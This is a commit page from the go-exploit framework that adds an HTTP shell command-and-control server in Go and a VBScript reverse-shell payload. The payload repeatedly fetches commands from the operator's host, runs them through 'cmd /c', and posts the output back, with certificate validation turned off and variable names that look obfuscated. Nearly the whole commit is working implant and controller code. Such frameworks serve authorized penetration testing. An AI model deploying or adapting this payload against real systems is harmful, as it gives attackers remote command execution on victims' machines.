Skip to content

Commit b099e63

Browse files
Added httpshellserver and vbs payload for it
1 parent dbcab9d commit b099e63

File tree

6 files changed

+254
-1
lines changed

6 files changed

+254
-1
lines changed

c2/factory.go

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -5,6 +5,7 @@ import (
55
"github.com/vulncheck-oss/go-exploit/c2/external"
66
"github.com/vulncheck-oss/go-exploit/c2/httpservefile"
77
"github.com/vulncheck-oss/go-exploit/c2/httpserveshell"
8+
"github.com/vulncheck-oss/go-exploit/c2/httpshellserver"
89
"github.com/vulncheck-oss/go-exploit/c2/shelltunnel"
910
"github.com/vulncheck-oss/go-exploit/c2/simpleshell"
1011
"github.com/vulncheck-oss/go-exploit/c2/sslshell"
@@ -37,6 +38,7 @@ const (
3738
HTTPServeShellCategory category = 4
3839
ExternalCategory category = 5
3940
ShellTunnelCategory category = 6
41+
HTTPShellServerCategory category = 7
4042
)
4143

4244
// Simplified names in order to keep the old calling convention and allow
@@ -48,6 +50,7 @@ var (
4850
HTTPServeFile = internalSupported["HTTPServeFile"]
4951
HTTPServeShell = internalSupported["HTTPServeShell"]
5052
ShellTunnel = internalSupported["ShellTunnel"]
53+
HTTPShellServer = internalSupported["HTTPShellServer"]
5154
// We do not want external to be called directly because external
5255
// internally is not useful.
5356
)
@@ -61,6 +64,7 @@ var internalSupported = map[string]Impl{
6164
"SSLShellServer": {Name: "SSLShellServer", Category: SSLShellServerCategory},
6265
"HTTPServeFile": {Name: "HTTPServeFile", Category: HTTPServeFileCategory},
6366
"HTTPServeShell": {Name: "HTTPServeShell", Category: HTTPServeShellCategory},
67+
"HTTPShellServer": {Name: "HTTPShellServer", Category: HTTPShellServerCategory},
6468
// Insure the internal supported External module name is an error if used
6569
// directly.
6670
"External": {Name: "", Category: InvalidCategory},
@@ -103,6 +107,8 @@ func GetInstance(implementation Impl) (Interface, bool) {
103107
if implementation.Name != "" {
104108
return external.GetInstance(implementation.Name), true
105109
}
110+
case HTTPShellServerCategory:
111+
return httpshellserver.GetInstance(), true
106112
case ShellTunnelCategory:
107113
return shelltunnel.GetInstance(), true
108114
case InvalidCategory:
@@ -132,6 +138,8 @@ func CreateFlags(implementation Impl) {
132138
if implementation.Name != "" {
133139
external.GetInstance(implementation.Name).CreateFlags()
134140
}
141+
case HTTPShellServerCategory:
142+
httpshellserver.GetInstance().CreateFlags()
135143
case ShellTunnelCategory:
136144
shelltunnel.GetInstance().CreateFlags()
137145
case InvalidCategory:

c2/httpshellserver/httpshellserver.go

Lines changed: 188 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,188 @@
1+
package httpshellserver
2+
3+
import (
4+
"bufio"
5+
"crypto/tls"
6+
"flag"
7+
"fmt"
8+
"io"
9+
"net/http"
10+
"os"
11+
"strings"
12+
"sync"
13+
"time"
14+
15+
"github.com/vulncheck-oss/go-exploit/c2/channel"
16+
"github.com/vulncheck-oss/go-exploit/encryption"
17+
"github.com/vulncheck-oss/go-exploit/output"
18+
)
19+
20+
var (
21+
singleton *Server
22+
cliLock sync.Mutex
23+
commandChan = make(chan string)
24+
lastSeen time.Time
25+
)
26+
27+
type Server struct {
28+
// The HTTP address to bind to
29+
HTTPAddr string
30+
// The HTTP port to bind to
31+
HTTPPort int
32+
// Set to the Server field in HTTP response
33+
ServerField string
34+
// Indicates if TLS should be enabled
35+
TLS bool
36+
// The file path to the user provided private key (if provided)
37+
PrivateKeyFile string
38+
// The file path to the user provided certificate (if provided)
39+
CertificateFile string
40+
// Loaded certificate
41+
Certificate tls.Certificate
42+
// Allows us to track if a connection has been received during the life of the server
43+
Success bool
44+
}
45+
46+
// A basic singleton interface for the c2.
47+
func GetInstance() *Server {
48+
if singleton == nil {
49+
singleton = new(Server)
50+
}
51+
52+
return singleton
53+
}
54+
55+
func (httpServer *Server) Init(channel channel.Channel) bool {
56+
if channel.IsClient {
57+
output.PrintFrameworkError("Called C2HTTPServer as a client. Use lhost and lport.")
58+
59+
return false
60+
}
61+
62+
switch {
63+
case channel.Port != 0:
64+
httpServer.HTTPAddr = channel.IPAddr
65+
httpServer.HTTPPort = channel.Port
66+
default:
67+
output.PrintFrameworkError("Called HTTPServeFile without specifying a bind port.")
68+
69+
return false
70+
}
71+
72+
if httpServer.TLS {
73+
var ok bool
74+
var err error
75+
if len(httpServer.CertificateFile) != 0 && len(httpServer.PrivateKeyFile) != 0 {
76+
httpServer.Certificate, err = tls.LoadX509KeyPair(httpServer.CertificateFile, httpServer.PrivateKeyFile)
77+
if err != nil {
78+
output.PrintfFrameworkError("Error loading certificate: %s", err.Error())
79+
80+
return false
81+
}
82+
} else {
83+
output.PrintFrameworkStatus("Certificate not provided. Generating a TLS Certificate")
84+
httpServer.Certificate, ok = encryption.GenerateCertificate()
85+
if !ok {
86+
return false
87+
}
88+
}
89+
}
90+
91+
return true
92+
}
93+
94+
// User options for serving a file over HTTP as the "c2".
95+
func (httpServer *Server) CreateFlags() {
96+
flag.StringVar(&httpServer.ServerField, "httpShellServer.ServerField", "Apache", "The value to insert in the HTTP server field")
97+
flag.BoolVar(&httpServer.TLS, "httpShellServer.TLS", false, "Indicates if the HTTP server should use encryption")
98+
flag.StringVar(&httpServer.PrivateKeyFile, "httpShellServer.PrivateKeyFile", "", "A private key to use with the HTTPS server")
99+
flag.StringVar(&httpServer.CertificateFile, "httpShellServer.CertificateFile", "", "The certificate to use with the HTTPS server")
100+
}
101+
102+
// start the HTTP server and listen for incoming requests for `httpServer.FileName`.
103+
//
104+
//nolint:gocognit
105+
func (httpServer *Server) Run(timeout int) {
106+
http.HandleFunc("/rx", func(_ http.ResponseWriter, req *http.Request) {
107+
body, _ := io.ReadAll(req.Body)
108+
if strings.TrimSpace(string(body)) != "" {
109+
fmt.Printf("\n%s: %s\n", req.RemoteAddr, string(body))
110+
}
111+
})
112+
113+
http.HandleFunc("/", func(writer http.ResponseWriter, req *http.Request) {
114+
lastSeen = time.Now()
115+
writer.Header().Set("Server", httpServer.ServerField)
116+
117+
if !httpServer.Success {
118+
go func() {
119+
httpServer.Success = true
120+
output.PrintfSuccess("Received initial connection from %s, entering shell", req.RemoteAddr)
121+
cliLock.Lock()
122+
defer cliLock.Unlock()
123+
for {
124+
elapsed := time.Since(lastSeen)
125+
if elapsed/time.Millisecond > 10000 {
126+
fmt.Printf("last seen: %ds> ", time.Since(lastSeen)/time.Second)
127+
} else {
128+
fmt.Printf("last seen: %dms> ", time.Since(lastSeen)/time.Millisecond)
129+
}
130+
reader := bufio.NewReader(os.Stdin)
131+
command, _ := reader.ReadString('\n')
132+
trimmedCommand := strings.TrimSpace(command)
133+
if trimmedCommand == "help" {
134+
fmt.Printf("Usage:\nType a command and it will be added to the queue to be distributed to the first connection\ntype exit to shut everything down.\n")
135+
136+
continue
137+
}
138+
if trimmedCommand == "exit" {
139+
output.PrintStatus("Exit received, shutting down")
140+
141+
os.Exit(0)
142+
}
143+
if strings.TrimSpace(command) != "" {
144+
commandChan <- strings.TrimSpace(command)
145+
}
146+
}
147+
}()
148+
}
149+
150+
select {
151+
case command := <-commandChan:
152+
writer.WriteHeader(http.StatusOK)
153+
fmt.Fprint(writer, command)
154+
default:
155+
writer.WriteHeader(http.StatusOK)
156+
}
157+
})
158+
159+
connectionString := fmt.Sprintf("%s:%d", httpServer.HTTPAddr, httpServer.HTTPPort)
160+
go func() {
161+
if httpServer.TLS {
162+
output.PrintfFrameworkStatus("Starting an HTTPS server on %s...", connectionString)
163+
tlsConfig := &tls.Config{
164+
Certificates: []tls.Certificate{httpServer.Certificate},
165+
// We have no control over the SSL versions supported on the remote target. Be permissive for more targets.
166+
//nolint
167+
MinVersion: tls.VersionSSL30,
168+
}
169+
server := http.Server{
170+
Addr: connectionString,
171+
TLSConfig: tlsConfig,
172+
// required to disable HTTP/2 according to https://pkg.go.dev/net/http#hdr-HTTP_2
173+
TLSNextProto: make(map[string]func(*http.Server, *tls.Conn, http.Handler), 1),
174+
}
175+
defer server.Close()
176+
_ = server.ListenAndServeTLS("", "")
177+
} else {
178+
output.PrintfFrameworkStatus("Starting an HTTP server on %s", connectionString)
179+
_ = http.ListenAndServe(connectionString, nil)
180+
}
181+
}()
182+
183+
// let the server run for timeout seconds
184+
time.Sleep(time.Duration(timeout) * time.Second)
185+
186+
// We don't actually clean up anything, but exiting c2 will eventually terminate the program
187+
output.PrintFrameworkStatus("Shutting down the HTTP Shell Server")
188+
}

payload/reverse/reverse.go

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -37,10 +37,11 @@ type (
3737
PythonPayload struct{}
3838
TelnetPayload struct{}
3939
GroovyPayload struct{}
40+
VBSHTTPPayload struct{}
4041
)
4142

42-
// Makes the Bash payloads accessible via `reverse.Bash`.
4343
var (
44+
// Example: makes the Bash payloads accessible via `reverse.Bash`.
4445
Bash = &BashPayload{}
4546
GJScript = &GJScriptPayload{}
4647
JJS = &JJSScriptPayload{}
@@ -51,4 +52,5 @@ var (
5152
Python = &PythonPayload{}
5253
Telnet = &TelnetPayload{}
5354
Groovy = &GroovyPayload{}
55+
VBSHTTP = &VBSHTTPPayload{}
5456
)

payload/reverse/vbs.go

Lines changed: 21 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,21 @@
1+
package reverse
2+
3+
import (
4+
_ "embed"
5+
"fmt"
6+
)
7+
8+
var (
9+
//go:embed vbs/reverse_http.vbs
10+
VBSShell string
11+
)
12+
13+
// Generates a script that can be used to create a reverse shell via vbs (can be run with cscript)
14+
// original source: https://raw.githubusercontent.com/cym13/vbs-reverse-shell/refs/heads/master/reverse_shell.vbs
15+
func (vbs *VBSHTTPPayload) Default(lhost string, lport int, ssl bool) string {
16+
if ssl {
17+
return fmt.Sprintf(VBSShell, "https", lhost, lport)
18+
}
19+
20+
return fmt.Sprintf(VBSShell, "http", lhost, lport)
21+
}
12 KB
Binary file not shown.

payload/reverse/vbs/reverse_http.vbs

Lines changed: 34 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,34 @@
1+
Option Explicit
2+
On Error Resume Next
3+
4+
CONST lkasjfo = "%s://%s:%d/"
5+
6+
Dim xmlHttpReq, shell, execObj, alfkj, break, result
7+
8+
Set shell = CreateObject("WScript.Shell")
9+
10+
break = False
11+
While break <> True
12+
Set xmlHttpReq = WScript.CreateObject("MSXML2.ServerXMLHTTP")
13+
xmlHttpReq.SetOption 2, xmlHttpReq.GetOption(2)
14+
xmlHttpReq.Open "GET", lkasjfo, false
15+
xmlHttpReq.Send
16+
17+
alfkj = "cmd /c " & Trim(xmlHttpReq.responseText)
18+
19+
If InStr(alfkj, "exit") Then
20+
break = True
21+
Else
22+
Set execObj = shell.Exec(alfkj)
23+
24+
result = ""
25+
Do Until execObj.StdOut.AtEndOfStream
26+
result = result & execObj.StdOut.ReadAll()
27+
Loop
28+
29+
Set xmlHttpReq = WScript.CreateObject("MSXML2.ServerXMLHTTP")
30+
xmlHttpReq.Open "POST", lkasjfo & "rx", false
31+
xmlHttpReq.SetOption 2, xmlHttpReq.GetOption(2)
32+
xmlHttpReq.Send(result)
33+
End If
34+
Wend

0 commit comments

Comments
 (0)